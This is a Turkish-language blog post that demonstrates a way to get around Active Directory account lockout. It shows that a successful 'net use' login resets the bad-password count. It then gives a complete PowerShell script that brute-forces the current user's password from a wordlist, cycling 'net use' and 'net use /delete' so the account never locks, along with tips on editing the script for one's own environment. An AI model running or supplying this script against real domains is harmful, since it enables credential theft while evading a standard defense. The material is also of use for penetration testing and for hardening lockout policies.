Blog

AD Account Lockout ByPass

En bilindik AD güvenlik sıkılaştırmalarından biri olan Account Lockout ayarlamaları en basit yapılarda bile şifre ataklarının önüne geçilmesi için ciddi bir önlemdir.

Ancak bir kullanıcı veya servis hesabının çalıştığı sistem kilitlenmemiş yada remote code execution ile erişiminiz mevcut ise aşağıdaki şekilde herhangi bir lock durumu oluşturmadan dilediğiniz kadar şifre test etmenize olanak tanıyor.

Test yapacağım sistem üzerinde Remote Server Administration Tools for Windows 10 yüklü.

Öncelikle user’ ın şuan ki durumunu kontrol ediyoruz.

get-aduser -filter  {Name -eq “Engin KOSOVA”} -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | ft -auto

Herhangi bir lock yada hatalı şifre denemesi yapılmadığı görülmekte.

GPO üzerinden aldığım Policy aşağıdaki şekilde. 5 hatalı giriş sonrasında hesabın kilitlenmesi olarak ayarlı.

Hatalı bir şifre girişi denendiğinde aldığımız tepkiyi görmek için öncelikle yanlış bir şifre giriş testi yapıyoruz.

Aşağıdaki şekilde şifreyi bir çok kez hatalı test ediyorum.

Ardından tekrar kullanıcının lock durumunu kontrol ediyorum.

Kullanıcının hatalı giriş sayısını ve sayının aşılması sonucu kilitlendiğini görüyoruz.

Kullanıcının Lock durumunu kaldırarak bu sefer hatalı testi bir kere deniyorum ve tekrar Lock durumunu kontrol ediyorum

Bu durumdayken “net use” kullanımı yaparak tekrar lock durumunu kontrol ediyorum.

Gördüğümüz gibi net use kullanımı ile başarılı bir doğrulama yaptığım için sistem hatalı şifre sayısını sıfırladı.

Ancak bu durumdayken tekrar “net use” kullanmayı denersem sistem aşağıdaki uyarıyı veriyor.

Yani aynı connection dan birden fazla oluşturamam. Bu durumda ise “net use /delete” ile önceki connetion’ ın silinmesi gerekiyor. Aslında bypass oluşumu işte burada meydana geliyor.

Buna bağlı olarak aşağıdaki script ile brute force attack yapıyoruz.

Herhangi bir şekilde lock olmadan şifreyi bulmuş olduk. Tabiki ben şifreyi bildiğim için 15. denemede bulmasını sağladım. Ancak şifrenin zorluk derecesine ve elinizdeki şifre kütüphanesine bağlı olarak bu durum değişiklik gösterecektir.

Aşağıdaki github adresinden şifre kütüphanelerini görüntüleyerek istediğinizi kullanabilirsiniz.

https://github.com/danielmiessler/SecLists

Script içerisindeki aşağıdaki alanları kendi ortamınıza göre düzenlemeniz gerekmektedir.

$CurrentPath = “D:\”

$FileName = “pass.txt”

$userVar = Get-ChildItem env:username

$uname = $userVar.Value

$computerVar = Get-ChildItem env:computername

$computerName = $computerVar.Value

$ErrorActionPreference = “Stop”

$hooray = “PasswordNotFound”

$CurrentPath = “D:\”

$FileName = “pass.txt”

$FName= “$CurrentPath\$FileName”

foreach($value in [System.IO.File]::ReadLines($Fname))

{

$passAttempt = (‘net use \\’ + $computerName + ‘ “‘ + $value + ‘“ ‘ + ‘/u:’ + $uname )

try

{

Write-Output (“trying password “ + $value)

$output = Invoke-Expression $passAttempt | Out-Null

$hooray = $value

write-output (“FOUND the user password: “ + $value)

$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )

Invoke-Expression $reset | Out-Null

$deleteShare = (‘net use /delete \\’ + $computername )

Invoke-Expression $deleteShare | Out-Null

break

}

catch

{

$reset = (‘net use \\’ + $computername + ‘ /u:’ + $uname )

Invoke-Expression $reset | Out-Null

$deleteShare = (‘net use /delete \\’ + $computername )

Invoke-Expression $deleteShare | Out-Null

}

}

write-host “The Password is: “ $hooray

Kaynak :
https://medium.com/@markmotig/bypassing-ad-account-lockout-for-a-compromised-account-5c908d663de8

İlgili Makaleler

2 Yorum

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu